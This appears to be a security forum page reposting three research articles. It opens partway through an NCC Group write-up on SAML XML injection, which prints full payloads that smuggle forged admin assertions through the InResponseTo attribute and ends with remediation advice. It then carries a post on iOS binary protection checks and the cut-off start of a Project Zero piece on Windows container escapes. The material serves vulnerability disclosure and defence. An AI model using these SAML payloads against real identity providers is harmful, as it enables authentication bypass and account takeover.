<ds:X509Certificate>MIICsDCCAhmgAwIBAgIUdbiKONoAtbg996PB63hRqTx/r3kwDQYJKoZIhvcNAQELBQAwajELMAkGA1UEBhMCVVMxCzAJBgNVBAgMAkNBMRIwEAYDVQQHDAlTdW5ueXZhbGUxEjAQBgNVBAoMCU5DQyBHcm91cDESMBAGA1UECwwJU0FNTCBUZXN0MRIwEAYDVQQDDAlsb2NhbGhvc3QwHhcNMjEwMjA4MTgwNTM1WhcNMjIwMjA4MTgwNTM1WjBqMQswCQYDVQQGEwJVUzELMAkGA1UECAwCQ0ExEjAQBgNVBAcMCVN1bm55dmFsZTESMBAGA1UECgwJTkNDIEdyb3VwMRIwEAYDVQQLDAlTQU1MIFRlc3QxEjAQBgNVBAMMCWxvY2FsaG9zdDCBnzANBgkqhkiG9w0BAQEFAAOBjQAwgYkCgYEAzcBpN/M96rsY/eVadDGiWsxPtfh2gjx8MXbxitVeCn9/hxp5cMiNY3RLWP6G1unn/jmY5xgs2IOXnWnLCgOTztJ7xY7e55El3GUB2F+f92BsmymNbkmmjW3TS61R7DOmU5Z2c2kigxahhoV2CuZAP4qiJpWI77jK8MU2hnKyBaMCAwEAAaNTMFEwHQYDVR0OBBYEFG4sdyzqVsCQHO8YaigkbVmQE9RdMB8GA1UdIwQYMBaAFG4sdyzqVsCQHO8YaigkbVmQE9RdMA8GA1UdEwEB/wQFMAMBAf8wDQYJKoZIhvcNAQELBQADgYEANF254aZkRGRTtjMLa7/8E6aFhtYCUU86YtRrrBFhslsooPMvwKnKelCdsE5Hp6V50WK2aTVBVI/biZGKCyUDRGZ0d5/dhsMl9SyN87CLwnSpkjcHC/b+I/nc3lrgoUSLPnjq8JUeCG2jkC54eWXMa6Ls2uFTEbUoI+BwJHFAH08=</ds:X509Certificate> </ds:X509Data> </ds:KeyInfo> </ds:Signature> <samlp:Status> <samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/> </samlp:Status> <saml:Assertion ID="_d0a71402-b0c1-453e-93bf-a3a43c50398b" IssueInstant="2021-02-11T22:45:54.579Z" Version="2.0" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <saml:Issuer>http://idp.adam.local:8080</saml:Issuer> <saml:Subject> <saml:NameID Format="urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress">admin@example.org</saml:NameID> <saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer"> <saml:SubjectConfirmationData InResponseTo="_6c4ac3bd08f45c9f34a9230c39ef7e12ede0531e46" NotOnOrAfter="2021-02-11T23:50:54.579Z" Recipient="http://sp.adam.local/simplesaml/module.php/saml/sp/saml2-acs.php/saml1"/> </saml:SubjectConfirmation> </saml:Subject> <saml:Conditions NotBefore="2021-02-11T22:45:54.579Z" NotOnOrAfter="2021-02-11T23:50:54.579Z"> <saml:AudienceRestriction> <saml:Audience>http://sp.adam.local/</saml:Audience> </saml:AudienceRestriction> </saml:Conditions> <saml:AuthnStatement AuthnInstant="2021-02-11T22:45:54.579Z"> <saml:AuthnContext> <saml:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:Password</saml:AuthnContextClassRef> </saml:AuthnContext> </saml:AuthnStatement> </saml:Assertion> <elem test=""/> <saml:Issuer>http://idp.adam.local:8080</saml:Issuer> <samlp:Status> <samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/> </samlp:Status> <saml:Assertion xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" ID="_68a25c00-2c08-458a-a760-40f5a55ada07" Version="2.0" IssueInstant="2021-02-11T23:45:49.796Z"> <saml:Issuer>http://idp.adam.local:8080</saml:Issuer> <saml:Subject> <saml:NameID Format="urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress">user@example.org</saml:NameID> <saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer"> <saml:SubjectConfirmationData NotOnOrAfter="2021-02-11T23:50:49.796Z" Recipient="http://sp.adam.local/simplesaml/module.php/saml/sp/saml2-acs.php/saml1" InResponseTo="_6c4ac3bd08f45c9f34a9230c39ef7e12ede0531e46"/> <saml:Issuer>http://idp.adam.local:8080</saml:Issuer> <samlp:Status> <samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/> </samlp:Status> <saml:Assertion ID="_d0a71402-b0c1-453e-93bf-a3a43c50398b" IssueInstant="2021-02-11T22:45:54.579Z" Version="2.0" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <saml:Issuer>http://idp.adam.local:8080</saml:Issuer> <saml:Subject> <saml:NameID Format="urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress">admin@example.org</saml:NameID> <saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer"> <saml:SubjectConfirmationData InResponseTo="_6c4ac3bd08f45c9f34a9230c39ef7e12ede0531e46" NotOnOrAfter="2021-02-11T23:50:54.579Z" Recipient="http://sp.adam.local/simplesaml/module.php/saml/sp/saml2-acs.php/saml1"/> </saml:SubjectConfirmation> </saml:Subject> <saml:Conditions NotBefore="2021-02-11T22:45:54.579Z" NotOnOrAfter="2021-02-11T23:50:54.579Z"> <saml:AudienceRestriction> <saml:Audience>http://sp.adam.local/</saml:Audience> </saml:AudienceRestriction> </saml:Conditions> <saml:AuthnStatement AuthnInstant="2021-02-11T22:45:54.579Z"> <saml:AuthnContext> <saml:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:Password</saml:AuthnContextClassRef> </saml:AuthnContext> </saml:AuthnStatement> </saml:Assertion> <elem test=""/> </saml:SubjectConfirmation> </saml:Subject> <saml:Conditions NotBefore="2021-02-11T23:45:49.796Z" NotOnOrAfter="2021-02-11T23:50:49.796Z"> <saml:AudienceRestriction> <saml:Audience>http://sp.adam.local/</saml:Audience> </saml:AudienceRestriction> </saml:Conditions> <saml:AuthnStatement AuthnInstant="2021-02-11T23:45:49.796Z"> <saml:AuthnContext> <saml:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:Password</saml:AuthnContextClassRef> </saml:AuthnContext> </saml:AuthnStatement> </saml:Assertion> </samlp:Response> It should be noted that, due to the existence of two injection points, this SAML response contains three assertions; one injected using the XML injection payload, the second produced by the identity provider (with the legitimate user@example.org NameID), and another injected assertion embedded within the legitimate assertion (at the location of the second InResponseTo attribute). As described previously, the handling of such a SAML response will depend on the configuration of the service provider. During tests performed by NCC Group, the vulnerable identity provider was connected to a SimpleSAMLphp installation; this accepted the SAML response, and used the first occurrence of the assertion to authenticate the user, meaning that the attacker was logged in to the service under the context of admin@example.org. If the service provider uses the second assertion instead of the first, or if it rejects the response due to the repeated assertions, it may be possible to utilize XML comments again to effectively remove the identity provider’s assertion from the response. Two methods have been used successfully in tests performed by NCC Group. The first, if the XML parser used by the service provider is not too strict, simply leaves an unterminated comment at the end of the payload. The identity provider may ignore the lack of a closure for the comment, and generate a signature for the response using only the attacker’s assertion. An example of a payload which may achieve this has been provided below (decoded and formatted for readability): _29b9ae8ab8554e48c8c3a33a0bb270d5759c8a85c7"> <saml:Issuer>http://idp.adam.local:8080</saml:Issuer> <samlp:Status> <samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/> </samlp:Status> <saml:Assertion ID="_d0a71402-b0c1-453e-93bf-a3a43c50398b" IssueInstant="2021-02-11T22:45:54.579Z" Version="2.0" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <saml:Issuer>http://idp.adam.local:8080</saml:Issuer> <saml:Subject> <saml:NameID Format="urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress">admin@example.org</saml:NameID> <saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer"> <saml:SubjectConfirmationData InResponseTo="_29b9ae8ab8554e48c8c3a33a0bb270d5759c8a85c7" NotOnOrAfter="2021-02-12T06:51:42.705Z" Recipient="http://sp.adam.local/simplesaml/module.php/saml/sp/saml2-acs.php/saml1"/> </saml:SubjectConfirmation> </saml:Subject> <saml:Conditions NotBefore="2021-02-11T22:45:54.579Z" NotOnOrAfter="2021-02-12T06:51:42.705Z"> <saml:AudienceRestriction> <saml:Audience>http://sp.adam.local/</saml:Audience> </saml:AudienceRestriction> </saml:Conditions> <saml:AuthnStatement AuthnInstant="2021-02-11T22:45:54.579Z"> <saml:AuthnContext> <saml:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:Password</saml:AuthnContextClassRef> </saml:AuthnContext> </saml:AuthnStatement> </saml:Assertion> </saml:Response><!-- When the SAML response was generated by the identity provider, the content following the “<!–” string was ignored, effectively removing both the identity provider’s assertion, and the second assertion reflected at the second InResponseTo insertion point. Some identity providers will reject this payload, however, because the XML is invalid with an unterminated comment. To circumvent this restriction, the following alternative payload was developed (again, decoded and formatted for readability): _365db265e0bc16c34ffa06ad9b382bbff77541ee55" ncc-injection=' --> <saml:Issuer>http://idp.adam.local:8080</saml:Issuer> <samlp:Status> <samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/> </samlp:Status> <saml:Assertion ID="_d0a71402-b0c1-453e-93bf-a3a43c50398b" IssueInstant="2021-02-11T22:45:54.579Z" Version="2.0" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <saml:Issuer>http://idp.adam.local:8080</saml:Issuer> <saml:Subject> <saml:NameID Format="urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress">admin@example.org</saml:NameID> <saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer"> <saml:SubjectConfirmationData InResponseTo="_365db265e0bc16c34ffa06ad9b382bbff77541ee55" NotOnOrAfter="2021-02-12T18:48:18.749Z" Recipient="http://sp.adam.local/simplesaml/module.php/saml/sp/saml2-acs.php/saml1"/> <![CDATA['> <!-- ]]> <ncc-elem a=" This payload takes advantage of the fact that the content will be repeated twice within the SAML response produced by the identity provider. A combination of a comment and a CDATA block is used to enclose the identity provider’s assertion, and inject the new assertion. The payload can be broken down into the following components: First, a quote is used to escape from the first InResponseTo attribute, and a new attribute, ‘ncc-injection’, is created. This attribute uses single quotes for the value, so that the double quotes in the XML for the injected assertion can be preserved. The payload within the attribute value includes a closing comment string “–>”, followed by the malicious assertion XML. This is similar to previous payloads, but stops at the SubjectConfirmationData element, as this is where the second InResponseTo attribute occurs. Following the assertion XML, the attribute value includes the string used to open a CDATA block. Then, the single quote and angle bracket close the ncc-injection attribute and Response element. The “<!–” string is used to open a new comment; this comment will enclose the identity provider’s assertion. Then a “]]>” string is included. This will eventually close the CDATA block. Finally, a new element is included, “ncc-elem” with an attribute; this will balance the quote character left by the InResponseTo attribute created by the identity provider. (Note: again, this element may not be required, depending on the XML parser implementation). When processed by a vulnerable identity provider, the following XML was produced. Note that the first injected assertion, enclosed within the “samlp:Response” “ncc-injection” attribute, is not active. The comment encloses the first part of the identity provider’s assertion, which specifies the “user@example.org” username. Then, when the payload is repeated in the second InResponseTo attribute of the identity provider’s assertion, the “–>” string terminates the comment and the malicious XML becomes active. The malicious XML stops at the SubjectConfirmationData element, where the CDATA block begins; this CDATA block is designed to enclose the second “<!–” comment string, to prevent the remainder of the assertion/response XML from being commented. Finally, the “ncc-elem” element balances the quotes, and the remainder of the identity provider assertion template closes the XML, creating a valid SAML response: <samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" ID="_65a7aa51-521c-46c2-8825-a0b51f730101" Version="2.0" IssueInstant="2021-02-12T05:55:46.978Z" Destination="http://sp.adam.local/simplesaml/module.php/saml/sp/saml2-acs.php/saml1" InResponseTo="_365db265e0bc16c34ffa06ad9b382bbff77541ee55" ncc-injection=" --><saml:Issuer>http://idp.adam.local:8080</saml:Issuer><samlp:Status><samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/></samlp:Status><saml:Assertion ID="_d0a71402-b0c1-453e-93bf-a3a43c50398b" IssueInstant="2021-02-11T22:45:54.579Z" Version="2.0" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><saml:Issuer>http://idp.adam.local:8080</saml:Issuer><saml:Subject><saml:NameID Format="urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress">admin@example.org</saml:NameID><saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer"><saml:SubjectConfirmationData InResponseTo="_365db265e0bc16c34ffa06ad9b382bbff77541ee55" NotOnOrAfter="2021-02-12T06:51:42.705Z" Recipient="http://sp.adam.local/simplesaml/module.php/saml/sp/saml2-acs.php/saml1"/>--><![CDATA["><!-- ]]><ncc-elem a=""><saml:Issuer>http://idp.adam.local:8080</saml:Issuer><samlp:Status><samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/></samlp:Status><saml:Assertion xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" ID="_f78b7401-f325-4083-b280-2c55b6ef02e1" Version="2.0" IssueInstant="2021-02-12T05:55:46.978Z"><saml:Issuer>http://idp.adam.local:8080</saml:Issuer><saml:Subject><saml:NameID Format="urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress">user@example.org</saml:NameID><saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer"><saml:SubjectConfirmationData NotOnOrAfter="2021-02-12T06:00:46.978Z" Recipient="http://sp.adam.local/simplesaml/module.php/saml/sp/saml2-acs.php/saml1" InResponseTo="_365db265e0bc16c34ffa06ad9b382bbff77541ee55" ncc-injection=' --> <saml:Issuer>http://idp.adam.local:8080</saml:Issuer> <ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#"> <ds:SignedInfo> <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/> <ds:SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256"/> <ds:Reference URI="#_65a7aa51-521c-46c2-8825-a0b51f730101"> <ds:Transforms> <ds:Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature"/> <ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/> </ds:Transforms> <ds:DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/> <ds:DigestValue>20FqC5eEhH0bv6lYVD6Dh1VczuZNg0NeemP0B32GFwc=</ds:DigestValue> </ds:Reference> </ds:SignedInfo> <ds:SignatureValue>O0XjQRmGusm2a2ImysF1wTB2HJSnCNE6aIxKd7cF8ZI+rEyHff4+mbW1uD81hwi4tvdwDjTZZNsnW8djLbAgT8E6dV2HsisXeDRBXvIobi1qW3KUf9k4oO70G0bhVjKWzCAHUo53SGNc6UDuvkijXoxEdyg5US13raeuXsjKs9w=</ds:SignatureValue> <ds:KeyInfo> <ds:X509Data> <ds:X509Certificate>MIICsDCCAhmgAwIBAgIUdbiKONoAtbg996PB63hRqTx/r3kwDQYJKoZIhvcNAQELBQAwajELMAkGA1UEBhMCVVMxCzAJBgNVBAgMAkNBMRIwEAYDVQQHDAlTdW5ueXZhbGUxEjAQBgNVBAoMCU5DQyBHcm91cDESMBAGA1UECwwJU0FNTCBUZXN0MRIwEAYDVQQDDAlsb2NhbGhvc3QwHhcNMjEwMjA4MTgwNTM1WhcNMjIwMjA4MTgwNTM1WjBqMQswCQYDVQQGEwJVUzELMAkGA1UECAwCQ0ExEjAQBgNVBAcMCVN1bm55dmFsZTESMBAGA1UECgwJTkNDIEdyb3VwMRIwEAYDVQQLDAlTQU1MIFRlc3QxEjAQBgNVBAMMCWxvY2FsaG9zdDCBnzANBgkqhkiG9w0BAQEFAAOBjQAwgYkCgYEAzcBpN/M96rsY/eVadDGiWsxPtfh2gjx8MXbxitVeCn9/hxp5cMiNY3RLWP6G1unn/jmY5xgs2IOXnWnLCgOTztJ7xY7e55El3GUB2F+f92BsmymNbkmmjW3TS61R7DOmU5Z2c2kigxahhoV2CuZAP4qiJpWI77jK8MU2hnKyBaMCAwEAAaNTMFEwHQYDVR0OBBYEFG4sdyzqVsCQHO8YaigkbVmQE9RdMB8GA1UdIwQYMBaAFG4sdyzqVsCQHO8YaigkbVmQE9RdMA8GA1UdEwEB/wQFMAMBAf8wDQYJKoZIhvcNAQELBQADgYEANF254aZkRGRTtjMLa7/8E6aFhtYCUU86YtRrrBFhslsooPMvwKnKelCdsE5Hp6V50WK2aTVBVI/biZGKCyUDRGZ0d5/dhsMl9SyN87CLwnSpkjcHC/b+I/nc3lrgoUSLPnjq8JUeCG2jkC54eWXMa6Ls2uFTEbUoI+BwJHFAH08=</ds:X509Certificate> </ds:X509Data> </ds:KeyInfo> </ds:Signature> <samlp:Status> <samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/> </samlp:Status> <saml:Assertion ID="_d0a71402-b0c1-453e-93bf-a3a43c50398b" IssueInstant="2021-02-11T22:45:54.579Z" Version="2.0" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <saml:Issuer>http://idp.adam.local:8080</saml:Issuer> <saml:Subject> <saml:NameID Format="urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress">admin@example.org</saml:NameID> <saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer"> <saml:SubjectConfirmationData InResponseTo="_365db265e0bc16c34ffa06ad9b382bbff77541ee55" NotOnOrAfter="2021-02-12T06:51:42.705Z" Recipient="http://sp.adam.local/simplesaml/module.php/saml/sp/saml2-acs.php/saml1"/>--><![CDATA['><!-- ]]> <ncc-elem a=""/> </saml:SubjectConfirmation> </saml:Subject> <saml:Conditions NotBefore="2021-02-12T05:55:46.978Z" NotOnOrAfter="2021-02-12T06:00:46.978Z"> <saml:AudienceRestriction> <saml:Audience>http://sp.adam.local/</saml:Audience> </saml:AudienceRestriction> </saml:Conditions> <saml:AuthnStatement AuthnInstant="2021-02-12T05:55:46.978Z"> <saml:AuthnContext> <saml:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:Password</saml:AuthnContextClassRef> </saml:AuthnContext> </saml:AuthnStatement> </saml:Assertion> </samlp:Response> Depending on where the InResponseTo attributes are located within the XML document, it may be necessary to adjust the payload to ensure that the XML is correct and well-formed. There are some caveats to the InResponseTo attacks, however. This particular injection was only successful because the assertion in the SAML response was not signed. Some identity providers sign both the assertion and the SAML response. In this situation, it may only be possible to utilize the second InResponseTo injection point, as any modifications to this assertion after the application of the signature could cause the verification to fail. The specifics of this approach will vary based on the implementation of the identity provider, and the libraries used to parse and sign the XML. Recommendations Organizations and services that rely on SAML for authentication should examine identity providers and determine whether they are affected by XML injection vulnerabilities, particularly if the identity provider uses string-based templates to build SAML responses/assertions with user controlled data. Ideally, SAML responses and assertions should be constructed using an appropriate XML library that can safely set user-controlled data in attributes and text nodes. If it is absolutely necessary to use a string template, or string functions, to include user-controlled data within SAML messages, the data should be strictly validated. If XML characters are detected in the user-input, the authentication attempt should be rejected with an error message. Before insertion to the document, XML encoding should be applied to the data, to ensure that even if the validation is bypassed, the user input cannot inject additional XML. Additionally, consider enforcing the use of signatures for SAML authentication requests sent from service providers, where possible. If the SAML request signature is validated by the identity provider, any attempt to modify the request to include an XML injection payload (such as those which exploit the InResponseTo attribute) can be detected. Sursa: https://research.nccgroup.com/2021/03/29/saml-xml-injection/
-
- 1
-
on ios binary protections Reading time ~10 min Posted by Leon Jacobs on 02 March 2021 Categories: Ios, Mobile, Objection, Binary I just got off a call with a client, and realised we need to think about how we report binary protections a bit more. More specifically the ios info binary command in objection. They can be a pain to explain if not well understood, and even harder to remediate! Binary protections make exploitation attempts much harder so, naturally we want all of them on. However, as you’d see in this article, not everything can always be enabled and sometimes it’s hard to understand why. ios binary protections information parsed by objection a quick primer Before diving into the protections themselves, let’s take a look at how objection parses each. The core of the parsing logic lives here, leveraging the nodejs macho package. Using macho, we can programatically parse any Mach-O format file for information about the binary. The macho package lets you specify a file to parse, and because we are already injected into a target process using Frida, we can access any file in the application bundle too. Reading the info() function in the agent you’d see we get the loaded modules using Frida API’s (Process.enumerateModules(), and then proceed to parse each file using the macho package. Once we have parsed a target binary or library, we proceed to ask some questions to determine if some binary protections are enabled. Let’s take a look at the PIE, ARC, and Canary flags. pie As you’d expect, a Mach-O file has a header. Part of the header structure is the flags field which is a bitmask of all the applicable flags for that binary. (refer to the Mach-O loader header source code here, specifically the MH_ prefixed flags, or the epic description here). The macho package we are using in objection simply parses that flags’ field which means we can ask it if exe.flags.pie is set. In other words, is 0x200000 set in the target binary? Pretty neat right! arc Unlike PIE, the check if Automatic Reference Counting (ARC) is set is not based on a flag in the header field. Instead, this check is something we infer based on imports that a binary has. There is a lot of information about ARC you can find in the LLVM documentation here, but basically its a memory safety mechanism that keeps tabs on objects and free’s them when no-one is using them anymore. This is not something that happens at load time like PIE, but instead happens at runtime. To detect if ARC is being used, we check if the function objc_release is imported by the target executable. We simply infer that ARC is used based on this; it does not prove that it does. This check could easily be fooled by anything that imports and does not actually use it, so keep that in mind. With the macho package we simply call imports.has("objc_release") for the check. canary Checking if stack canaries are in use is done in a similar fashion to ARC. When enabled, a stack canary is a random bit of data placed and checked before a function returns, aimed at making exploiting overflows harder. The use of the function __stack_chk_fail (and its derivatives) implies that should a stack canary be smashed, this function would be called as a safety bailout to prevent an exploitation attempt from returning to the wrong address (or similar). Just like ARC, if stack canaries weren’t enabled, but this function was imported for other reasons, the check could be fooled. To recap, it simply infers that stack canaries are enabled based on the fact that a function commonly used is imported, and not that its actually used. static analysis Using objection to check these protections is not the only way. Many scripts, plugins and other tools exist that do these checks. For example: https://github.com/slimm609/checksec.sh. Radare2 also has this capability, such as when using rabin2 or by using the ia command in the r2 disassembler. rabin2 used to enumerate macho flags and imports checking if stack canaries are enabled using r2 the naunces Now that you know how these binary protection mechanisms are enumerated, let’s talk about when you may have trouble interpreting the results like I did. In the iOS world today you are going to find applications written in Objective-C, Swift or both, and depending on the language used, different protections apply. Even “write once deploy anywhere” frameworks such as Cordova have native components. None of these protections are applicable to the extra layers that frameworks like Cordova (read: JavaScript) add on top of the native layer, so you can just ignore those. Certain protections are also only applicable to the main executable and none of the frameworks. Knowing which files need protections enabled is also important. Let’s take a quick look at a typical iOS application. The .ipa file can be unzipped to find a Payload/ directory, and in there a folder named usually ending in .app. Inside of this directory you’d typically find the main application executable (DVIA-v2 in the example below) and a Frameworks/ directory. The main executable as well as executables found in the Frameworks directory are all in scope for protections. executables highlighted with red arrows There may also be arbitrary .dylib files lying around (not necessarily in the Frameworks directory), so be sure to check them out too. identifying objc vs swift Some protections will only be applicable depending on the language the main executable or Framework is written in. In general, all of the protections should be enabled for Objective-C, but some are not (and seems like you can’t enable them anyways) for Swift. Knowing how to identify a pure Objective-C or Swift library is also important. In general you can spot this by looking at the executable’s symbol table. A pure Objective-C executable / library will have no swift references. no swift imports in the Realm executable swift references in the RealmSwift executable. Take special note of the _swift_FORCE_LOAD_ prefix. This is a pretty clear indicator that Swift is at the very least in use. An experienced eye will also be able to spot Swift mangled methods in the symbol table which won’t exist in a pure Objective-C binary. The only case that is hard to detect is a pure Swift binary. Even if written in pure Swift, theres always some references to Objective-C around. You can almost always see this when inspecting the linked libraries. libobjc linked in a Swift library built with Xcode Even when compiling a pure Swift file on macOS, libobjc shows it’s head! simple hello world swift program linking libobjc Out of interest I compiled the same program on Linux using the Swift tools for Linux, and there was no libobjc swift program compiled on linux not linked to libjobc Anyways, my point is that it’s really hard to be certain that an application is written in Pure swift, and you should be careful when considering how binary protections are enumerated for them. Let’s take a look at some of the exceptions to these protections. pie – exceptions PIE is only applicable to executables (Mach-O type MH_EXECUTE) and not libraries. A reference to this can be seen in a comment in the Mach-O loader source header here (formatted for readability). define MH_PIE 0x200000 /* When this bit is set, the OS will load the main executable at a random address. Only used in MH_EXECUTE filetypes. */ So, if the binary type is library, PIE being false is ok. arc – exceptions There are no exceptions to ARC. Both pure Objective-C, Swift and hybrid binaries should have this enabled. Note that objection versions < 1.10.0 incorrectly parsed the check for ARC, but that has since been fixed in version 1.10.1. For old Objective-C projects this should be enabled. For Swift projects it should automatically be enabled. canary – exceptions Stack canaries are an interesting one. For pure Objective-C binaries, this should always be enabled. Enabling it is done by passing the -fstack-protector-all flag to the C compiler. For pure Swift projects I could not find how to enable this. In fact, I reduced testing to a single, small hello world example to see if I could get it enabled but with no success. stack canaries not enabled for swift binaries I found this hard to believe, and thought maybe it would be different if I compiled it on Linux, but alas the same result. Some digging into this turned into me realising that “it’s complicated”. See: https://developer.apple.com/forums/thread/106300. The TL;DR is that it is in fact enabled, but conventional parsing is not enough to test that without recompiling the source. Given that Swiftlang is designed to be memory safe making memory corruption bugs much harder has me feeling comfortable that if a library is in fact pure Swift, and stack canaries weren’t enabled, the risk will be minimal. In summary, your decision making on which protections can and should be enabled is heavily influenced based on if Swiftlang is involved and whether the target binary is an executable or a library. enabling protections summary PIE – Add the -fPIC compiler flag to the projects build settings. This will only be applicable to the main executable. ARC – This will be automatically enabled for Swift only projects (via the swiftc compiler), and added by setting YES to the Objective-C Automatic Reference Counting section in the projects configuration. Canary – Enabled by adding the -fstack-protector-all compiler flag to Objective-C projects. If Swift is involved its possible to have it enabled when the library is a hybrid of Objective-C and Swift, but it could show as disabled which is okay. Special care should be taken to ensure that these configuration changes are applied to all frameworks in the project as well. Sursa: https://sensepost.com/blog/2021/on-ios-binary-protections/
-
Who Contains the Containers? Posted by James Forshaw, Project Zero This is a short blog post about a research project I conducted on Windows Server Containers that resulted in four privilege escalations which Microsoft fixed in March 2021. In the post, I describe what led to this research, my research process, and insights into what to look for if you’re researching this area. Windows Containers Background Windows 10 and its server counterparts added support for application containerization. The implementation in Windows is similar in concept to Linux containers, but of course wildly different. The well-known Docker platform supports Windows containers which leads to the availability of related projects such as Kubernetes running on Windows. You can read a bit of background on Windows containers on MSDN. I’m not going to go in any depth on how containers work in Linux as very little is applicable to Windows. The primary goal of a container is to hide the real OS from an application. For example, in Docker you can download a standard container image which contains a completely separate copy of Windows. The image is used to build the container which uses a feature of the Windows kernel called a Server Silo allowing for redirection of resources such as the object manager, registry and networking. The server silo is a special type of Job object, which can be assigned to a process. The application running in the container, as far as possible, will believe it’s running in its own unique OS instance. Any changes it makes to the system will only affect the container and not the real OS which is hosting it. This allows an administrator to bring up new instances of the application easily as any system or OS differences can be hidden. For example the container could be moved between different Windows systems, or even to a Linux system with the appropriate virtualization and the application shouldn’t be able to tell the difference. Containers shouldn’t be confused with virtualization however, which provides a consistent hardware interface to the OS. A container is more about providing a consistent OS interface to applications. Realistically, containers are mainly about using their isolation primitives for hiding the real OS and providing a consistent configuration in which an application can execute. However, there’s also some potential security benefit to running inside a container, as the application shouldn’t be able to directly interact with other processes and resources on the host. There are two supported types of containers: Windows Server Containers and Hyper-V Isolated Containers. Windows Server Containers run under the current kernel as separate processes inside a server silo. Therefore a single kernel vulnerability would allow you to escape the container and access the host system. Hyper-V Isolated Containers still run in a server silo, but do so in a separate lightweight VM. You can still use the same kernel vulnerability to escape the server silo, but you’re still constrained by the VM and hypervisor. To fully escape and access the host you’d need a separate VM escape as well. The current MSRC security servicing criteria states that Windows Server Containers are not a security boundary as you still have direct access to the kernel. However, if you use Hyper-V isolation, a silo escape wouldn’t compromise the host OS directly as the security boundary is at the hypervisor level. That said, escaping the server silo is likely to be the first step in attacking Hyper-V containers meaning an escape is still useful as part of a chain. As Windows Server Containers are not a security boundary any bugs in the feature won’t result in a security bulletin being issued. Any issues might be fixed in the next major version of Windows, but they might not be. Origins of the Research Over a year ago I was asked for some advice by Daniel Prizmant, a researcher at Palo Alto Networks on some details around Windows object manager symbolic links. Daniel was doing research into Windows containers, and wanted help on a feature which allows symbolic links to be marked as global which allows them to reference objects outside the server silo. I recommend reading Daniel’s blog post for more in-depth information about Windows containers. Knowing a little bit about symbolic links I was able to help fill in some details and usage. About seven months later Daniel released a second blog post, this time describing how to use global symbolic links to escape a server silo Windows container. The result of the exploit is the user in the container can access resources outside of the container, such as files. The global symbolic link feature needs SeTcbPrivilege to be enabled, which can only be accessed from SYSTEM. The exploit therefore involved injecting into a system process from the default administrator user and running the exploit from there. Based on the blog post, I thought it could be done easier without injection. You could impersonate a SYSTEM token and do the exploit all in process. I wrote a simple proof-of-concept in PowerShell and put it up on Github. Fast forward another few months and a Googler reached out to ask me some questions about Windows Server Containers. Another researcher at Palo Alto Networks had reported to Google Cloud that Google Kubernetes Engine (GKE) was vulnerable to the issue Daniel had identified. Google Cloud was using Windows Server Containers to run Kubernetes, so it was possible to escape the container and access the host, which was not supposed to be accessible. Microsoft had not patched the issue and it was still exploitable. They hadn’t patched it because Microsoft does not consider these issues to be serviceable. Therefore the GKE team was looking for mitigations. One proposed mitigation was to enforce the containers to run under the ContainerUser account instead of 